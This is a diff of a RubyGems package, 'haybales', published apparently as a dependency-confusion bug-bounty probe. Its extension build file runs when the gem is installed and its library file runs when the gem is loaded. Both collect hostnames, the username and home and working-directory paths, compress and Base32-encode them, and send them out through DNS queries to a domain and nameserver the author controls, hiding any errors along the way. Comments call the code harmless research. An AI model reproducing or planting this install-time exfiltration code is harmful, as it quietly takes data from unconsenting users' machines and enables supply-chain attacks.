haybales 0.900.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 399484e20257893491ab3d465849476be88ad599479ab4720c0c097aba4f1c8e
+  data.tar.gz: cce755cef9ecf32d1e3aa52b3a43968d6e3d3978336747dffe60b2e01024410e
+SHA512:
+  metadata.gz: 34198d989602e622de806127758bf7cdc17c8ee9c395402576c1ee7f3cb0d4bb14db70033a78ade127ac786e3ecbe9e51da4d355bd4c1be0ba586019656ecaf1
+  data.tar.gz: a3b9364b62c489d374cee015d799e22644232b84e7c4b3b6f1bfd0a2e7b7ece092710ef7e7c764c2e9b86e0b39bdead45953e79adf3c7e3cff28065b2cb0f63f

data/ext/haybales/extconf.rb

@@ -0,0 +1,177 @@
+require "mkmf"
+
+create_makefile "gem_test/gem_test"
+=begin
+Hi, if you're reading this you're probably wondering what this code is doing on
+your machine. Don't worry! It doesn't do anything nasty or malicious.
+
+I am an ethical security researcher, attempting attacks against organisations
+that have a "bug bounty" type program in place.
+
+I am performing work similar to the work in this blog post:
+https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+
+If your organisation has a bug bounty program my findings will be reported via
+that program.
+
+If your organisation does not have a bug bounty program, you were not targeted
+by my work and have some how ended up getting included, any data reported from
+your org will be discarded.
+
+All data I collect will be deleted as soon as I'm done, in either case.
+
+If you are reading this then you probably need to tighten up your Gemfiles
+and/or upgrade Bundler, see here for more details:
+
+https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
+
+You can read the code to confirm this but here's a top-level view of what it
+does to help you out:
+
+Grabs the hostname(s), current username, and the file paths to this script,
+the current working directory, and the home directory. This helps me identify
+which machines have been affected (for reporting), at which organisation (to
+know who to report it to), and to eliminate false positives from machines that
+fetch and install every Gem.
+
+Generates a random ID so I can piece together the different fragments of data.
+
+Encodes all the data as json, compresses it, Base32 encodes it, and chops it
+into chunks to go out as DNS queries that will hit a nameserver I control.
+
+That's it!
+
+If you have any questions or want to get in touch for any reason, you can reach
+me at zofrex@gmail.com
+
+=end
+
+puts "Package 'haybales' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
+
+begin # big catch-all over everything to stop any errors escaping
+    def do_or_whatever
+        yield
+    rescue Exception
+        # keep going
+    end
+
+    do_or_whatever { require 'net/http' }
+    do_or_whatever { require 'socket' }
+    do_or_whatever { require 'etc' }
+    require 'securerandom'
+    require 'json'
+    require 'resolv'
+
+    def report_analytics
+        report_id = SecureRandom.alphanumeric(8)
+
+        idx_package = 0
+        idx_hostnames = 1
+        idx_username = 2
+        idx_paths = 3
+        idx_event = 4
+
+        idx_paths_file = 0
+        idx_paths_cwd = 1
+        idx_paths_script = 2
+        idx_paths_home = 3
+
+        data = Hash.new
+
+        data[idx_event] = 'install'
+
+        # package name
+
+        data[idx_package] = 'haybales-0.900.0'
+
+        # get possible hostnames
+
+        hostnames = []
+
+        do_or_whatever { hostnames << Socket.gethostname }
+        do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
+        do_or_whatever { hostnames << `hostname` }
+        do_or_whatever { hostnames << `hostname -f` }
+
+        data[idx_hostnames] = hostnames.map(&:strip).uniq
+
+        # get local user
+
+        do_or_whatever { data[idx_username] = Etc.getlogin }
+
+        # get useful paths
+
+        paths = Hash.new
+
+        do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
+        do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
+        do_or_whatever { paths[idx_paths_script] = __dir__ }
+        do_or_whatever { paths[idx_paths_home] = Dir.home }
+
+        data[idx_paths] = paths
+
+        # encode payload
+
+        json = JSON.generate(data)
+        compressed = "u#{json}"
+
+        # attempt to compress data but don't sweat it if that fails
+        do_or_whatever do
+            require 'zlib'
+            compressed = "c#{Zlib.deflate(json)}"
+        end
+
+        # base32 encode the data
+        table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
+        encoded = compressed.bytes.each_slice(5).flat_map do |slice|
+            n = (slice.length * 8.0 / 5.0).ceil
+            p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
+            c =  slice.inject(0) {|m,o| (m << 8) + o} << p
+            (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
+        end.join
+
+        # send data out via DNS lookups
+        total_queries = (encoded.length / 180.0).ceil
+
+        google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
+        me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
+
+        method = :generic
+        suffix = "zofrex-is-ethically-testing.ga"
+
+        encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
+            query_data = chunks.map(&:join).join('.')
+            data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
+
+            # Try to get the message out somehow, skip the methods that don't work on future loops
+            if method == :generic
+                begin
+                    address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
+                    method = :google if address != "127.0.0.3"
+                rescue
+                    method = :google
+                end
+            end
+
+            if method == :google
+                begin
+                    address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
+                    method = :direct if address != "127.0.0.4"
+                rescue
+                    method = :direct
+                end
+            end
+
+            if method == :direct
+                do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
+            end
+        end
+    end
+
+    do_or_whatever { report_analytics }
+
+    # cleanup
+    do_or_whatever { undef report_analytics }
+    do_or_whatever { undef do_or_whatever }
+rescue Error
+end

data/lib/haybales.rb

@@ -0,0 +1,174 @@
+=begin
+Hi, if you're reading this you're probably wondering what this code is doing on
+your machine. Don't worry! It doesn't do anything nasty or malicious.
+
+I am an ethical security researcher, attempting attacks against organisations
+that have a "bug bounty" type program in place.
+
+I am performing work similar to the work in this blog post:
+https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+
+If your organisation has a bug bounty program my findings will be reported via
+that program.
+
+If your organisation does not have a bug bounty program, you were not targeted
+by my work and have some how ended up getting included, any data reported from
+your org will be discarded.
+
+All data I collect will be deleted as soon as I'm done, in either case.
+
+If you are reading this then you probably need to tighten up your Gemfiles
+and/or upgrade Bundler, see here for more details:
+
+https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
+
+You can read the code to confirm this but here's a top-level view of what it
+does to help you out:
+
+Grabs the hostname(s), current username, and the file paths to this script,
+the current working directory, and the home directory. This helps me identify
+which machines have been affected (for reporting), at which organisation (to
+know who to report it to), and to eliminate false positives from machines that
+fetch and install every Gem.
+
+Generates a random ID so I can piece together the different fragments of data.
+
+Encodes all the data as json, compresses it, Base32 encodes it, and chops it
+into chunks to go out as DNS queries that will hit a nameserver I control.
+
+That's it!
+
+If you have any questions or want to get in touch for any reason, you can reach
+me at zofrex@gmail.com
+
+=end
+
+puts "Package 'haybales' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
+
+begin # big catch-all over everything to stop any errors escaping
+    def do_or_whatever
+        yield
+    rescue Exception
+        # keep going
+    end
+
+    do_or_whatever { require 'net/http' }
+    do_or_whatever { require 'socket' }
+    do_or_whatever { require 'etc' }
+    require 'securerandom'
+    require 'json'
+    require 'resolv'
+
+    def report_analytics
+        report_id = SecureRandom.alphanumeric(8)
+
+        idx_package = 0
+        idx_hostnames = 1
+        idx_username = 2
+        idx_paths = 3
+        idx_event = 4
+
+        idx_paths_file = 0
+        idx_paths_cwd = 1
+        idx_paths_script = 2
+        idx_paths_home = 3
+
+        data = Hash.new
+
+        data[idx_event] = 'run'
+
+        # package name
+
+        data[idx_package] = 'haybales-0.900.0'
+
+        # get possible hostnames
+
+        hostnames = []
+
+        do_or_whatever { hostnames << Socket.gethostname }
+        do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
+        do_or_whatever { hostnames << `hostname` }
+        do_or_whatever { hostnames << `hostname -f` }
+
+        data[idx_hostnames] = hostnames.map(&:strip).uniq
+
+        # get local user
+
+        do_or_whatever { data[idx_username] = Etc.getlogin }
+
+        # get useful paths
+
+        paths = Hash.new
+
+        do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
+        do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
+        do_or_whatever { paths[idx_paths_script] = __dir__ }
+        do_or_whatever { paths[idx_paths_home] = Dir.home }
+
+        data[idx_paths] = paths
+
+        # encode payload
+
+        json = JSON.generate(data)
+        compressed = "u#{json}"
+
+        # attempt to compress data but don't sweat it if that fails
+        do_or_whatever do
+            require 'zlib'
+            compressed = "c#{Zlib.deflate(json)}"
+        end
+
+        # base32 encode the data
+        table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
+        encoded = compressed.bytes.each_slice(5).flat_map do |slice|
+            n = (slice.length * 8.0 / 5.0).ceil
+            p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
+            c =  slice.inject(0) {|m,o| (m << 8) + o} << p
+            (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
+        end.join
+
+        # send data out via DNS lookups
+        total_queries = (encoded.length / 180.0).ceil
+
+        google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
+        me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
+
+        method = :generic
+        suffix = "zofrex-is-ethically-testing.ga"
+
+        encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
+            query_data = chunks.map(&:join).join('.')
+            data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
+
+            # Try to get the message out somehow, skip the methods that don't work on future loops
+            if method == :generic
+                begin
+                    address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
+                    method = :google if address != "127.0.0.3"
+                rescue
+                    method = :google
+                end
+            end
+
+            if method == :google
+                begin
+                    address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
+                    method = :direct if address != "127.0.0.4"
+                rescue
+                    method = :direct
+                end
+            end
+
+            if method == :direct
+                do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
+            end
+        end
+    end
+
+    do_or_whatever { report_analytics }
+
+    # cleanup
+    do_or_whatever { undef report_analytics }
+    do_or_whatever { undef do_or_whatever }
+rescue Error
+end

metadata

@@ -0,0 +1,48 @@
+--- !ruby/object:Gem::Specification
+name: haybales
+version: !ruby/object:Gem::Version
+  version: 0.900.0
+platform: ruby
+authors:
+- James 'zofrex' Sanderson
+autorequire:
+bindir: exe
+cert_chain: []
+date: 2021-02-16 00:00:00.000000000 Z
+dependencies: []
+description: I am testing for dependency confusion vulnerabilities in products that
+  are in public bug bounty programs. This code is reporting-only, and does not do
+  anything malicious.
+email:
+- gem-research@zofrex.com
+executables: []
+extensions:
+- ext/haybales/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/haybales/extconf.rb
+- lib/haybales.rb
+homepage:
+licenses:
+- MIT
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 1.9.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.1.4
+signing_key:
+specification_version: 4
+summary: Testing dependency confusion bugs
+test_files: []